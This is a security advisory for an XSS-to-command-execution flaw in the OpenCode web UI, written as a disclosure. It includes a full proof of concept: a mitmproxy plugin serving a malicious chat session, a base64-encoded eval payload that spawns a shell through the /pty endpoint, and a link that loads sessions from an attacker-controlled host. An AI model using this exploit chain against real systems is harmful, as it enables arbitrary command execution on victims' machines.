CVE-2026-22813: Malicious website can execute commands on the local system through XSS in the OpenCode web UI

Summary A malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on http://localhost:4096. From there, it is possible to run arbitrary commands on the local system using the /pty/ endpoints provided by the OpenCode API.

Code execution via OpenCode API

- The OpenCode API has /pty/ endpoints that allow spawning arbitrary processes on the local machine. - When you run opencode in your terminal, OpenCode automatically starts an HTTP server on localhost:4096 that exposes the API along with a web interface. - JavaScript can make arbitrary same-origin fetch() requests to the /pty/ API endpoints. Therefore, JavaScript execution on http://localhost:4096 gets you code execution on local the machine.

JavaScript execution on localhost:4096

The markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection.

This means controlling the LLM response for a chat session gets you JavaScript execution on the http://localhost:4096 origin. This alone would not be enough for a 1-click exploit, but there's functionality in packages/app/src/app.tsx to allow specifying a custom server URL in a ?url=... parameter:

javascript // packages/app/src/app.tsx const defaultServerUrl = iife(() => { const param = new URLSearchParams(document.location.search).get("url") if (param) return param // [truncated] return window.location.origin })

Using this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display ses45d2d9723ffeHN2DLrTYMz4mHn from the attacker-controlled server at https://opencode.attacker.example.

Note on exploitability

Because the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the ?url= parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of Fri, 09 Jan 2026 21:36:31 GMT. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0.

Proof of Concept

A simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session.

1. Spawn an OpenCode instance in a Docker container

$ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0

2. Create a file called plugin.py with the contents below

python import base64 import json

payload = """ (async () => { // const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'open -F -a Calculator.app']}; const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/albert-was-here.txt']}; const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}}); const ptyid = (await r.json())['id']; await new Promise(r => setTimeout(r, 500)); await fetch('/pty/' + ptyid, {method: 'DELETE'}) window.location.replace('https://example.com'); })() """

Other messages have been removed from this codeblock for brevity maliciousmessages = [ # [truncated] { # [truncated] "parts": [ # [truncated] { "id": "prtba2d26ca0001fcRfwfEZ4bP7gF", "sessionID": "ses45d2d9723ffeHN2DLrTYMz4mHn", "messageID": "msgba2d269130016guS0KSZ0FY2J9", "type": "text", "text": f"Hello, World!\n<img src=\"/favicon.png\" onerror=\"eval(atob('{base64.b64encode(payload.encode()).decode()}'))\" style=\"display: none;\">", "time": { "start": 1767963258360, "end": 1767963258360 } }, # [truncated] ] } ]

malicioussession = {"id":"ses45d2d9723ffeHN2DLrTYMz4mHn","version":"1.0.220","projectID":"global","directory":"/","title":"Hello World!","time":{"created":1767963257052,"updated":1767963258366},"summary":{"additions":0,"deletions":0,"files":0}}

async def response(flow): if flow.request.path.split('?')[0] == '/session': flow.response.text = json.dumps([malicioussession], separators=(',', ':')) elif flow.request.path.split('?')[0] == '/session/ses45d2d9723ffeHN2DLrTYMz4mHn': flow.response.statuscode = 200 flow.response.text = json.dumps(malicioussession, separators=(',', ':')) elif flow.request.path.split('?')[0] == '/session/ses45d2d9723ffeHN2DLrTYMz4mHn/message': flow.response.text = json.dumps(maliciousmessages, separators=(',', ':'))

3. Start mitmproxy with the plugin in reverse proxy mode

$ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096

4. Start OpenCode in your terminal as the victim

$ opencode

5. Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345

6. Confirm the file albert-was-here.txt was created in the /tmp/ directory

$ ls /tmp/ albert-was-here.txt